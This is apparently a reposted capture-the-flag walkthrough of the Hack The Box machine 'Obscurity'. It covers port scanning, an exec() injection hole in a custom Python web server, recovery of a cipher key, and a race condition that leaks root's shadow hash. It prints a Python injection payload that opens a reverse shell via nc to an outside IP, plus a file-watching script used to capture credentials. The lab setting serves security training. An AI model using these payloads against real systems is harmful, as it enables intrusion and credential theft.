Obscurity: Hack The Box Walkthrough
source link: https://hackso.me/obscurity-htb-walkthrough/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
This post documents the complete walkthrough of Obscurity, a retired vulnerable VM created by clubby789 , and hosted at Hack The Box . If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Obscurity is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
# masscan -e tun1 -p1-65535,U:1-65535 10.10.10.168 --rate=500 Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-12-03 03:38:02 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 8080/tcp on 10.10.10.168
Just one open port??!! Let’s do one better with nmap
scanning the discovered port to establish the service.
# nmap -n -v -Pn -p8080 -A --reason -oN nmap.txt 10.10.10.168 ... PORT STATE SERVICE REASON VERSION 8080/tcp open http-proxy syn-ack ttl 63 BadHTTPServer | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Date: Tue, 03 Dec 2019 03:50:25 | Server: BadHTTPServer | Last-Modified: Tue, 03 Dec 2019 03:50:25 | Content-Length: 4171 | Content-Type: text/html | Connection: Closed | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="utf-8"> | <title>0bscura</title> | <meta http-equiv="X-UA-Compatible" content="IE=Edge"> | <meta name="viewport" content="width=device-width, initial-scale=1"> | <meta name="keywords" content=""> | <meta name="description" content=""> | <!-- | Easy Profile Template | http://www.templatemo.com/tm-467-easy-profile | <!-- stylesheet css --> | <link rel="stylesheet" href="css/bootstrap.min.css"> | <link rel="stylesheet" href="css/font-awesome.min.css"> | <link rel="stylesheet" href="css/templatemo-blue.css"> | </head> | <body data-spy="scroll" data-target=".navbar-collapse"> | <!-- preloader section --> | <!-- | <div class="preloader"> | <div class="sk-spinner sk-spinner-wordpress"> | HTTPOptions: | HTTP/1.1 200 OK | Date: Tue, 03 Dec 2019 03:50:26 | Server: BadHTTPServer | Last-Modified: Tue, 03 Dec 2019 03:50:26 | Content-Length: 4171 | Content-Type: text/html | Connection: Closed | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="utf-8"> | <title>0bscura</title> | <meta http-equiv="X-UA-Compatible" content="IE=Edge"> | <meta name="viewport" content="width=device-width, initial-scale=1"> | <meta name="keywords" content=""> | <meta name="description" content=""> | <!-- | Easy Profile Template | http://www.templatemo.com/tm-467-easy-profile | <!-- stylesheet css --> | <link rel="stylesheet" href="css/bootstrap.min.css"> | <link rel="stylesheet" href="css/font-awesome.min.css"> | <link rel="stylesheet" href="css/templatemo-blue.css"> | </head> | <body data-spy="scroll" data-target=".navbar-collapse"> | <!-- preloader section --> | <!-- | <div class="preloader"> |_ <div class="sk-spinner sk-spinner-wordpress"> | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: BadHTTPServer |_http-title: 0bscura
Appears to be some kind of http
service. Here’s how it looks like.
Hmm. Looks like the source code for the web server is available somewhere…
Directory/File Enumeration
Let’s fuzz the directory mentioned above with wfuzz
.
# wfuzz -w common.txt -t 10 --hc 404 http://10.10.10.168:8080/FUZZ/SuperSecureServer.py ******************************************************** * Wfuzz 2.2.11 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.168:8080/FUZZ/SuperSecureServer.py Total requests: 949 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000259: C=200 170 L 498 W 5892 Ch "develop" 000342: C=404 6 L 14 W 175 Ch "filter"^C Finishing pending requests...
There’s no point to show the entire source code. But I do want to draw your attention to the backdoor that’s included in the source code, in line 138 and 139.
info = "output = 'Document: {}'" # Keep the output for later debug exec(info.format(path)) # This is how you do string formatting, right?
exec()
is a built-in function that supports the dynamic execution of Python code .
Low-Privlege Shell
Armed with this knowledge, we can execute remote Python code like so.
';import os;os.system("rm -rf /tmp/p; mknod /tmp/p p; bash </tmp/p | nc 10.10.15.60 1234 >/tmp/p");x='
Of course, I’m assuming that traditional nc
exists and we need to urlencode
the above string. Simply enter the encoded string into the address bar and we should have our shell.
Bingo.
Getting user.txt
There’s another user robert
(uid=1000). I suppose the file user.txt
is in his home directory.
In check.txt
, we have our clue how to get robert
’s password.
Encrypting this file with your key should result in out.txt, make sure your key is correct!
I suppose when we encrypt check.txt
with a key (yet to be determined) using SuperSecureCrypt.py
, we’ll get out.txt
. Here are the relevant encrypt
and decrypt
functions SuperSecureCrypt.py
.
def encrypt(text, key): keylen = len(key) keyPos = 0 encrypted = "" for x in text: keyChr = key[keyPos] newChr = ord(x) newChr = chr((newChr + ord(keyChr)) % 255) encrypted += newChr keyPos += 1 keyPos = keyPos % keylen return encrypted def decrypt(text, key): keylen = len(key) keyPos = 0 decrypted = "" for x in text: keyChr = key[keyPos] newChr = ord(x) newChr = chr((newChr - ord(keyChr)) % 255) decrypted += newChr keyPos += 1 keyPos = keyPos % keylen return decrypted
It shouldn’t be too hard to write a Python script to recover the key based on the “secure” algorithm above.
recover.py
import sys key = '' chk = open(sys.argv[1], 'rb').read().decode('utf-8') out = open(sys.argv[2], 'rb').read().decode('utf-8') keylen = int(sys.argv[3]) if (keylen > len(chk) or keylen > len(out)): raise ValueError("Key is longer than plaintext or ciphertext") for x in range(keylen): for c in range(256): if ((ord(chk[x]) + c) % 255 == ord(out[x])): key += chr(c) break print "[*] Key is: %s" % key
Simply increase the key size until the key repeats itself.
The key is alexandrovichalexandrovich
.
Armed with the key, we can utilize SuperSecureCrypt.py
to get robert
’s password.
The password is SecThruObsFTW
. Let’s log in to robert
’s account and grab that user.txt
!
Privilege Escalation
During enumeration of robert
’s account, I notice that robert
is able to sudo BetterSSH.py
as root
without password.
That must be the ticket to root
! Again, I’m showing the pertinent part where the code is vulnerable.
It’s kinda like a race condition. As long as I’m able to display the contents of whatever that’s written to /tmp/SSH/<random eight chars>
, I’ll be able to capture the encrypted password of root
in /etc/shadow
. Towards that end, I wrote a simple shell script to monitor for the creation of new file in /tmp/SSH
and cat
its content.
watch.sh
#!/bin/bash if [ ! -d /tmp/SSH ]; then mkdir -p /tmp/SSH fi touch /tmp/SSH/ok while :; do find /tmp/SSH -type f -cnewer /tmp/SSH/ok -exec cat {} \; done
I have two terminal windows. On one hand, I had the script watching for new files in /tmp/SSH
. On the other hand, I just need to sudo BetterSSH.py
.
Wohoo!
Getting root.txt
Now, it’s a matter of firing up John the Ripper to crack the password.
Armed with root
’s password, getting root.txt
should be a breeze.
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK